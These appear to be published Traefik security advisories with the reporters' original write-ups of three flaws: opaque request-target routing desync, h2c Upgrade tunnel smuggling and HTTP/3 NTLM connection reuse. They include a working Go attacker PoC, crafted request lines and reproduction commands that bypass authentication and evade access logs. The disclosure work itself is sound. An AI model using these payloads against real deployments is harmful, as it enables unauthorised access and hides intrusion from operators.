- https://github.com/traefik/traefik/releases/tag/v2.11.57 - https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
The scanner claims rewriteRequestBuilder (pkg/proxy/httputil/proxy.go:97) rebuilds the outbound target from URL.Path / RawPath / RawQuery but never clears URL.Opaque, so a client sending a rootless request-target (GET http:http://internal-vhost/admin HTTP/1.1) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path.
The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image traefik:v3.7 (v3.7.9, go1.26.5) with stock entrypoint defaults. Three separate consequences were observed on the wire, not inferred:
1. Cross-vhost routing bypass. Traefik matched Host(app.example.com), nginx served the internal-vhost server block. 2. Path-scoped authorization bypass. A forwardAuth guard that denies ^/admin returned DENY for /admin and ALLOW for the opaque form of the same request, which then reached /admin on the backend. 3. Access-log evasion. All three requests, benign and malicious, were logged identically as "GET / HTTP/1.1".
Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening encodedCharacters.allowEncodedSlash=false rejects the canonical /admin%2f..%2fsecret with 400, and does not fire at all on the opaque form carrying the identical payload.
This is not the "the operator left an opt-in permissive" shape that lesson L-012 and guideline G-03 teach us to decline. The hardening is enabled and is structurally bypassed.
Affected code
- pkg/proxy/httputil/proxy.go:97 (rewriteRequestBuilder) - pkg/muxer/http/mux.go:139 (withRoutingPath)
Code analysis
The sink
pkg/proxy/httputil/proxy.go:87-105 sets Scheme, Host, Path, RawPath, RawQuery on pr.Out.URL and clears pr.Out.RequestURI. It never touches pr.Out.URL.Opaque, which httputil.ReverseProxy carried over from the inbound request clone:
go pr.Out.URL.Scheme = target.Scheme pr.Out.URL.Host = target.Host ... pr.Out.URL.Path = u.Path pr.Out.URL.RawPath = u.RawPath ... pr.Out.RequestURI = "" // Outgoing request should not have RequestURI
net/http's Request.write then does ruri := r.URL.RequestURI(), and url.URL.RequestURI() returns Opaque in preference to the escaped path whenever Opaque != "". So the wire target is the attacker's string, and every field the proxy carefully set is ignored.
How Opaque gets populated
net/http's readRequest ($GOROOT/src/net/http/request.go:1104-1127) applies no origin-form check: it calls url.ParseRequestURI(rawurl) directly, and the only special case is CONNECT. url.parse returns early with Opaque = rest whenever a scheme is present and the remainder does not start with /, even for viaRequest = true. So http:http://internal-vhost/admin parses to {Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}.
Note that this string is a syntactically valid absolute-URI per RFC 3986 (path-rootless, and : is a legal pchar), so it is a legal absolute-form request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is rewriting it into a different URI when forwarding: Traefik receives a URI with no authority and emits one whose authority is internal-vhost, because RequestURI() only re-prefixes the scheme when Opaque begins with //.
Why the entry-point pipeline does not catch it
- denyFragment inspects req.URL.RawPath → empty → passes. - normalizePath returns early when RawPath == "" → passes. - sanitizePath (pkg/server/serverentrypointtcp.go:849) does r2.URL = r2.URL.JoinPath(). JoinPath does url := u, which copies Opaque, and setPath("/"). It then does r2.RequestURI = r2.URL.RequestURI(), which returns the Opaque string. Net effect: URL.Path becomes "/", Opaque survives untouched, and RequestURI is rewritten to the attacker's authority-bearing form. - The muxer matches on URL.Path == "/", so any Host(...)-only or PathPrefix(/) router matches. Host matching uses req.Host, which is the Host: header because URL.Host is empty for the opaque form. - encodedcharacters (pkg/middlewares/encodedcharacters/encodedcharacters.go:41) scans req.URL.EscapedPath(), which is "/". The denylist can never fire. - accesslog (pkg/middlewares/accesslog/logger.go:244-253) rebuilds urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment} and drops Opaque, so RequestPath is logged as /. - forwardauth (pkg/middlewares/auth/forward.go:473,499) sets X-Forwarded-Uri from req.URL.RequestURI(), so the auth server receives the string http://internal-vhost/admin, which matches neither the router's view (/) nor any normal path-prefix rule. It fails open against a prefix-based policy.
Scope
The experimental fast proxy has the identical defect: pkg/proxy/fast/proxy.go does u2 := req.URL (copying Opaque) and outReq.SetRequestURI(u2.RequestURI()) at line 216. The scanner's location call is accurate for both.
Note this pattern is inherited from net/http/httputil.ReverseProxy, whose own NewSingleHostReverseProxy director also leaves Opaque set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.
Reproduction (J04, F4)
Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone).
A. In-tree Go test (pkg/server, deleted after the run)
Entry-point chain assembled in newHTTPServer order (denyFragment → normalizePath → sanitizePath → requestdecorator → real httpmuxer with Host(app.example.com) → real httputil.ProxyBuilder), fronted by a real net/http server, driven over a raw TCP socket.
Command: go test -run TestScanPocJ04Opaque -v ./pkg/server/
Observed: === RUN TestScanPocJ04Opaque/controloriginform status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com" === RUN TestScanPocJ04Opaque/rootlessopaqueform status="200 OK" reachedBackend=true routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com") backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret") === RUN TestScanPocJ04Opaque/rootlessopaqueformsimple status="200 OK" reachedBackend=true routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com") backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="") === RUN TestScanPocJ04Opaque/absoluteform status="404 Not Found" reachedBackend=false --- PASS: TestScanPocJ04Opaque (2.01s)
Conclusion: REPRODUCED. Traefik routes on Path="/" and Host="app.example.com"; the backend receives Host="internal-vhost" and Path="/admin". The %2f bytes survive to the backend's RawPath untouched. The absoluteform control (GET http://internal-vhost/admin) correctly 404s, because there URL.Host is populated so req.Host becomes internal-vhost and the router does not match: it is specifically the rootless form, where the authority is invisible to Go's Request.Host derivation but visible to the wire writer, that desyncs.
B. End-to-end on the GA image (traefik:v3.7 = v3.7.9, go1.26.5) with a real nginx backend
Topology: nginx with a defaultserver returning PUBLIC-VHOST and a servername internal-vhost block returning INTERNAL-VHOST-SECRET; Traefik with a single Host(app.example.com) router, entry-point defaults, --accesslog=true. Requests sent over a raw socket with Host: app.example.com.
B1. Cross-vhost + log evasion (stock defaults): === request-target sent: '/' PUBLIC-VHOST uri=/ host=app.example.com
=== request-target sent: 'http:http://internal-vhost/admin' INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost
=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret' INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost Traefik access log for those same three requests: "GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms "GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms "GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms
B2. Differential against the documented hardening (--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false, sanitizePath=true): === request-target sent: '/admin%2f..%2fsecret' HTTP/1.1 400 Bad Request <- canonical path: protection fires
=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret' HTTP/1.1 200 OK INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost <- same payload, protection never fires
B3. ForwardAuth authorization bypass (middleware forwardAuth to an nginx auth service that returns 403 when X-Forwarded-Uri matches ^/admin): === request-target sent: '/admin' -> 403 DENY === request-target sent: 'http:/admin' -> 403 DENY === request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost Auth-service log confirms the decision flip: 403, 403, 200.
Conclusion: REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.
Documentation grounding
Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.
(truncated ; full analysis in the linked internal report)
Reproduction (J18, F20)
Three Go probes were written into pkg/server/ of the checkout (named zzscanpocJ18test.go) and deleted afterwards; git status confirms no zzscanpocJ18 file remains and the checkout is still on v3.7 @ d5072ce7b8765c9574246072e05dd81d84950da7. Docker containers were removed at the end of the run.
Probe 1 — routing desync and verbatim forward. Real entry point chain (denyFragment -> normalizePath -> sanitizePath -> requestdecorator -> httpmuxer.Muxer), two routers on the same service, real pkg/proxy/httputil proxy, raw TCP backend recording the request line, driven over a raw socket.
cd /Users/emile/go/src/github.com/traefik/traefik go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v
=== RUN TestJ18RootlessRequestTarget/GEThttp:admin/secretHTTP/1.1 --> raw request line: "GET http:admin/secret HTTP/1.1" in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/" <-- routers matched: [router-app(NO AUTH)] <-- response: "HTTP/1.1 200 OK\r" <-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"] === RUN TestJ18RootlessRequestTarget/GEThttp:admin%2FsecretHTTP/1.1 in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/" <-- routers matched: [router-app(NO AUTH)] <-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"] === RUN TestJ18RootlessRequestTarget/GET/admin/secretHTTP/1.1 (control) <-- routers matched: [router-admin(AUTH)] <-- response: "HTTP/1.1 401 Unauthorized\r" PASS
The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the %2F that an encodedCharacters filter would have rejected.
Probe 2 — origin tolerance. Which origins actually resolve a rootless request-target.
go test -run TestJ18BackendTolerance ./pkg/server/ -v # Go net/http + fasthttp v1.69.0 docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)" docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000 docker run -d --rm -p 18122:8080 tomcat:9.0.120 printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port>
| Origin | GET admin/secret HTTP/1.1 | GET /admin/secret HTTP/1.1 (control) | |---|---|---| | Go net/http | HTTP/1.1 400 Bad Request | 200, Path="/admin/secret" | | nginx:alpine | HTTP/1.1 400 Bad Request | 404 (resolved) | | httpd:alpine | HTTP/1.1 400 Bad Request | 404 (resolved) | | Node.js (llhttp) | HTTP/1.1 400 Bad Request | HTTP/1.1 200 OK | | Tomcat 9.0.120 | HTTP/1.1 400 | 404 (resolved) | | Python http.server | accepted (404, no 400) | 404 | | fasthttp v1.69.0 | 200 OK, Path="/admin/secret" | 200, Path="/admin/secret" |
fasthttp also decodes the encoded form: GET admin%2Fsecret HTTP/1.1 yields Path="/admin/secret", RequestURI="admin%2Fsecret".
Probe 3 — end-to-end authentication bypass. Same chain as probe 1, with a real basicAuth-style gate on the /admin router and a fasthttp origin serving ADMINPANELSECRET at /admin/secret.
go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v
"GET /admin/secret HTTP/1.1" => 401 basicAuth required "GET http:admin/secret HTTP/1.1" => Server: fasthttp ... ADMINPANELSECRET "GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMINPANELSECRET
The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.
Second affected site (J18)
The finding is mechanically correct and fully reproduced end to end, including the auth bypass.
A client-controlled HTTP/1.x request-target of the form scheme:rootless/path (for example GET http:admin/secret HTTP/1.1) is parsed by Go's url.ParseRequestURI into URL.Opaque = "admin/secret" with an empty URL.Path / URL.RawPath. Traefik's entry point chain and muxer never look at URL.Opaque:
- denyFragment inspects URL.RawPath (empty) and passes. - normalizePath returns early on empty RawPath. - sanitizePath calls URL.JoinPath(), which rewrites Path to "/" and leaves Opaque untouched, then sets RequestURI = URL.RequestURI() = "admin/secret". - withRoutingPath (pkg/muxer/http/mux.go:139) derives the routing path from req.URL.EscapedPath(), which ignores Opaque, so every Path / PathPrefix / PathRegexp matcher evaluates against "/". - Both proxies copy the URL wholesale and never clear Opaque, so the outgoing request line is the attacker's target verbatim.
Result: Traefik makes its routing and middleware decision on one string ("/") and writes a different string to the backend (admin/secret). Where a host-only or PathPrefix("/") router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.
Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, five reject the rootless target with 400 (Go net/http, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only fasthttp (and the Fiber family built on it) and Python's http.server accept it. Notably Tomcat, the backend family that carried the closest prior report (GHSA-vrvv-46fp-28pp), answers 400 here.
Documentation grounding
Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.
The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents sanitizePath: true as a default-on hardening the team ships, with encodedCharacters.allowEncodedSlash: false as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on header-underscores.md, content-length.md, http2-header-memory.md or multi-tenant-kubernetes.md, documents the request-target form, absolute-form / rootless targets, URL.Opaque, or an authority carried in the target. Grep for absolute, request-target, request line, Opaque, authority across docs/content/security/ returns nothing.
This lands squarely in Step 2e's second bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator did enable the opt-in and it still failed.
Precedent in comparable projects
Searched data/competitors/.json on absolute.form|absolute-form|absolute URI|request.target|request line|authority.form, then on smuggl|desync|normaliz.
| Product | ID | Severity | Framing | Fix shape | |---|---|---|---|---| | Caddy | CVE-2026-27587 | HIGH | MatchPath's %xx (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. | | Caddy | CVE-2026-27588 | HIGH | MatchHost becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. | | Envoy | CVE-2021-32779 | high | #fragment treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. | | Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of %2F before matching. | | Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy's routing view diverge from the backend's. | Add normalization. | | Envoy | CVE-2023-27491 | medium | Envoy forwards invalid HTTP/2 and HTTP/3 downstream headers to the upstream instead of rejecting them. | Reject malformed downstream input at the edge. | | Istio | CVE-2021-39156 | high | Fragments in the path lead to authorization policy bypass. | Normalize before policy evaluation. | | HAProxy | CVE-2023-25725 | CRITICAL | HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. | Restore consistent parsing. |
(truncated ; full analysis in the linked internal report)
Recommended fix
Assign for fix, and treat as CVE-worthy.
1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In pkg/proxy/httputil/proxy.go, next to the Path/RawPath assignments: go pr.Out.URL.Opaque = "" and in pkg/proxy/fast/proxy.go, on the u2 := req.URL copy before outReq.SetRequestURI(u2.RequestURI()). This alone closes the forwarding half. 2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-CONNECT requests, require req.URL.Opaque == "" and an EscapedPath() beginning with /, or normalize the true absolute-form case by promoting the authority into req.Host. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, sanitizePath still rewrites RequestURI to the attacker's authority-bearing form and the access log still records /. 3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point. 4. Consider reporting the ReverseProxy omission upstream to Go as well, since NewSingleHostReverseProxy has the same gap, but do not make the Traefik fix wait on it. 5. If filed as an advisory, use cluster slug opaque-request-target-forwarding and note that the fix must land on the fast proxy in the same PR.
Provenance
Found by an external automated code scan (CLAUDE-SECURITY-20260824-122205) of pkg/middlewares, pkg/proxy, pkg/server, pkg/muxer and pkg/tls on branch v3.7 at commit d5072ce7b8765c9574246072e05dd81d84950da7, then triaged with the advisory-check process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.
Triage outcome : Likely Valid, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.
Scanner finding ids : F4, F20. Internal report : findings/scan-20260824/verdicts/J04.md, J18.md in the security-advisor repository.
</details> ---
Summary
There is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 Upgrade mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated Upgrade: h2c request header and its connection-specific HTTP2-Settings header were forwarded to the backend. A backend that honours the h2c upgrade and answers 101 Switching Protocols puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the Upgrade: h2c token and the HTTP2-Settings header; Upgrade: websocket is unaffected. Exploitation requires a backend that upgrades h2c without validating the Connection listing; common off-the-shelf servers were not exploitable in testing.
Traefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.57 - https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's default HTTP reverse proxy forwards arbitrary Connection: Upgrade / Upgrade: <token> requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik.
This is exploitable when a backend accepts a non-WebSocket upgrade such as h2c and responds with 101 Switching Protocols. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain.
An attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route.
For example:
text /public /admin (no auth) (BasicAuth) | | +----------- same backend ------+ ^ | h2c tunnel | attacker
This allows middleware such as BasicAuth, ForwardAuth, IPAllowList, and RateLimit to be bypassed. Requests sent over the tunnel also bypass Traefik's normal access logging, metrics, and tracing.
The core issue is unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after 101 Switching Protocols.
Technical Details
The default proxy implementation is pkg/proxy/httputil (the fast proxy remains experimental and is disabled by default).
The relevant request path is:
pkg/middlewares/forwardedheaders/forwardedheader.go (removeConnectionHeaders, ~lines 198-234)
When Connection: Upgrade is present, the Upgrade header is preserved and forwarded downstream. There is no validation that the upgrade token is websocket.
pkg/proxy/httputil/proxy.go (isWebSocketUpgrade, ~line 170)
WebSocket receives special header handling through cleanWebSocketHeaders, but this is not an allowlist. Other upgrade protocols are still passed through.
pkg/server/service/smartroundtripper.go (RoundTrip, ~line 56)
Requests containing Connection: Upgrade are sent to the backend over HTTP/1, allowing the backend to perform the upgrade.
net/http/httputil.ReverseProxy
When the backend returns 101 Switching Protocols, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.
The security boundary breaks at this point.
The Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns 101, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.
The resulting flow is:
text Attacker | | GET /public | Connection: Upgrade | Upgrade: h2c v Traefik | | r-public (no auth) v Backend | | 101 Switching Protocols v [raw byte tunnel] | | HTTP/2 GET /admin v Backend
The /admin request never reaches the /admin router. It is sent directly to the backend over the existing tunnel.
I found no upgrade-token allowlist or h2c rejection in the relevant proxy path.
This is distinct from configured h2c support
Traefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the h2c:// service scheme / transportH2C configuration.
This issue is different.
The upgrade is initiated by the client through the Upgrade header. Traefik forwards it regardless of whether the operator configured h2c for that backend.
Therefore, a plain HTTP/1 backend can still be affected if it happens to accept Upgrade: h2c and return 101. The protocol switch is initiated by the client, and Traefik does not gate it.
PoC
Reproduced against a Traefik binary built from master at commit 9bb0e55:
text go build ./cmd/traefik Go 1.26.4
Default configuration was used, with no encodedCharacters or upgrade-related options enabled.
1. Backend
The backend implements a minimal HTTP/1.1 → h2c upgrade handler.
It exposes:
/public — unauthenticated /admin — intended to be protected by Traefik
go package main
import ( "bufio" "fmt" "net" "net/http" "strings"
"golang.org/x/net/http2" )
func main() { mux := http.NewServeMux()
mux.HandleFunc("/public", func(w http.ResponseWriter, r http.Request) { fmt.Fprintf(w, "public ok\n") })
mux.HandleFunc("/admin", func(w http.ResponseWriter, r http.Request) { fmt.Fprintf( w, "ADMIN SECRET DATA (proto=%s path=%s)\n", r.Proto, r.URL.Path, ) })
h2s := &http2.Server{}
ln, := net.Listen("tcp", "127.0.0.1:9900")
for { c, err := ln.Accept() if err != nil { return }
go func(conn net.Conn) { br := bufio.NewReader(conn) var sb strings.Builder
for { line, err := br.ReadString('\n') if err != nil { return }
sb.WriteString(line)
if line == "\r\n" { break } }
if strings.Contains(sb.String(), "Upgrade: h2c") { conn.Write([]byte( "HTTP/1.1 101 Switching Protocols\r\n" + "Connection: Upgrade\r\n" + "Upgrade: h2c\r\n\r\n", ))
h2s.ServeConn(conn, &http2.ServeConnOpts{ Handler: mux, })
return }
conn.Close() }(c) } }
2. Traefik configuration
traefik.yml:
yaml entryPoints: web: address: "127.0.0.1:9080"
providers: file: filename: "dynamic.yml"
dynamic.yml:
yaml http: routers: r-public: rule: "PathPrefix(/public)" entryPoints: ["web"] service: svc
r-admin: rule: "PathPrefix(/admin)" entryPoints: ["web"] service: svc middlewares: ["adminauth"]
middlewares: adminauth: basicAuth: users: - "admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs."
services: svc: loadBalancer: servers: - url: "http://127.0.0.1:9900"
Both routers terminate on the same backend. Only /admin has authentication.
3. Attacker
The PoC first verifies that /admin is protected, then establishes an unauthenticated h2c tunnel through /public and sends /admin over the resulting HTTP/2 connection.
go package main
import ( "fmt" "io" "net" "net/http" "strings" "time"
"golang.org/x/net/http2" )
func main() { front := "127.0.0.1:9080"
resp, := http.Get("http://" + front + "/admin") b, := io.ReadAll(resp.Body) resp.Body.Close()
fmt.Printf( "[1] Direct GET /admin (no creds) -> %d %q\n", resp.StatusCode, strings.TrimSpace(string(b)), )
raw, := net.Dial("tcp", front)
raw.Write([]byte( "GET /public HTTP/1.1\r\n" + "Host: x\r\n" + "Connection: Upgrade, HTTP2-Settings\r\n" + "Upgrade: h2c\r\n" + "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" + "\r\n", ))
buf := make([]byte, 256)
raw.SetReadDeadline(time.Now().Add(3 time.Second)) n, := raw.Read(buf)
fmt.Printf( "[2] Upgrade: h2c to /public (no auth) -> %q\n", strings.SplitN(string(buf[:n]), "\r\n", 2)[0], )
raw.SetReadDeadline(time.Time{})
cc, := (&http2.Transport{}).NewClientConn(raw)
req, := http.NewRequest("GET", "http://x/admin", nil)
r2, := cc.RoundTrip(req) b2, := io.ReadAll(r2.Body) r2.Body.Close()
fmt.Printf( "[3] HTTP/2 GET /admin over tunnel -> %d %q\n", r2.StatusCode, strings.TrimSpace(string(b2)), ) }
Result
text [1] Direct GET /admin (no creds) -> 401 "401 Unauthorized" [2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols" [3] HTTP/2 GET /admin over tunnel -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"
This demonstrates the bypass:
Direct /admin → 401 Unauthenticated /public → 101 /admin over the established h2c tunnel → 200
The PoC therefore shows that the /admin middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.
Impact
The issue is exploitable when:
1. An attacker can reach a router without the relevant security middleware. 2. That router points to the same backend as a protected router. 3. The backend accepts Upgrade: h2c and returns 101 Switching Protocols. 4. Traefik allows the resulting upgrade to complete.
Under these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.
Potentially affected middleware includes:
BasicAuth ForwardAuth IPAllowList RateLimit header/security middleware other per-request middleware attached to the protected router
The tunneled requests also bypass Traefik's normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.
The impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.
Scope / Preconditions
The backend must support the HTTP/1.1 → h2c upgrade mechanism and return 101 Switching Protocols.
This is not true for every HTTP/2-capable backend.
For example, recent golang.org/x/net/http2/h2c implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.
Older implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.
Therefore, this is not a generic "Traefik + HTTP/2 backend = vulnerable" issue. The backend's ability to accept the client-initiated upgrade is a required prerequisite.
The Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.
Suggested Fix
The proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.
At minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:
text Upgrade: h2c Upgrade: <arbitrary-token>
More generally, Traefik should not treat an arbitrary 101 Switching Protocols response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.
The relevant security property is:
A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik's HTTP routing/middleware layer.
TL;DR
Traefik forwards arbitrary client-supplied Upgrade tokens.
If a backend accepts Upgrade: h2c and returns 101, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik's routers or middleware.
An attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:
text /public (no auth) | | Upgrade: h2c v Traefik | | 101 v raw tunnel | | HTTP/2 GET /admin v Backend | v /admin (middleware bypassed)
In the PoC, a direct unauthenticated request to /admin returns 401, while the same endpoint accessed over the h2c tunnel returns 200.
The root cause is unrestricted client-initiated protocol upgrades combined with the loss of Traefik's HTTP routing/middleware enforcement after 101 Switching Protocols.
</details> ---
Summary
Traefik's HTTP/3 request path did not initialize the connection-scoped backend transport holder that isolates connection-bound NTLM and Negotiate (Kerberos) authentication on the HTTP/1.1 and HTTP/2 paths. The HTTP/3 entrypoint reuses the HTTPS handler chain and reaches the same backend round-tripper, but its ConnContext never called service.AddTransportOnContext, so kerberosRoundTripper fell back to the shared backend transport instead of a per-frontend-connection pool. On a route served over HTTP/3 to a backend that binds identity to a persistent connection via NTLM or Negotiate, an unrelated HTTP/3 client could be assigned a backend connection already authenticated as a victim and inherit that identity, reading victim-only data and performing actions as the victim without presenting the victim's credentials. Affected deployments require HTTP/3 enabled on the entrypoint, a backend using connection-bound NTLM/Negotiate authentication, and backend keep-alive; deployments using ordinary per-request authentication are not affected.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.57 - https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik HTTP/3 Backend NTLM Connection Reuse
Summary Traefik's HTTP/3 request path does not initialize the connection-scoped backend transport state that Traefik uses to isolate connection-bound NTLM and Negotiate authentication for HTTP/1.1 and HTTP/2. When a backend keeps authenticated identity on a persistent HTTP/1.1 TCP connection, an unrelated HTTP/3 client can reuse a victim-authenticated backend connection and inherit that backend identity.
In the attached reproduction, the HTTPS/HTTP/1.1 control case behaves correctly and isolates the attacker, but the HTTP/3 case allows a second unauthenticated client to read victim-only data and execute a state-changing request as actor=victim.
Validated target: - Repository: traefik/traefik - Commit: f2d0794417e4d06343e6e7c4722143f5b34bee45 - Validation time: 2026-08-25T06:48:02Z - Commit time: 2026-08-24T08:26:06Z - Patched status: not evaluated
Details The issue is caused by a protocol-parity gap between the normal TCP HTTP entrypoint path and the HTTP/3 entrypoint path.
For HTTP/1.1 and HTTP/2, Traefik explicitly creates a connection-scoped holder that can later store a dedicated RoundTripper for NTLM or Negotiate:
go // pkg/server/serverentrypointtcp.go:691-703 var connContext multipleConnContext connContext.AddConnContextFunc(func(ctx context.Context, c net.Conn) context.Context { // This adds an empty struct in order to store a RoundTripper in the ConnContext in case of Kerberos or NTLM. ctx = service.AddTransportOnContext(ctx)
if tlsConn, ok := c.(tls.Conn); ok { if tlsConnWithOptionsName, ok := tlsConn.NetConn().(tcp.TLSConn); ok { return tcp.AddTLSOptionsNameInContext(ctx, tlsConnWithOptionsName.TLSOptionsName) } }
return ctx })
That helper installs the per-connection holder, and kerberosRoundTripper depends on it. If the holder is absent, it falls back to the shared original backend transport. If NTLM or Negotiate is detected, it stores a dedicated cloned RoundTripper into that holder so future requests stay on the authenticated backend connection:
go // pkg/server/service/transport.go:374-402 func AddTransportOnContext(ctx context.Context) context.Context { return context.WithValue(ctx, transportKey, &stickyRoundTripper{}) }
type kerberosRoundTripper struct { new func() http.RoundTripper OriginalRoundTripper http.RoundTripper }
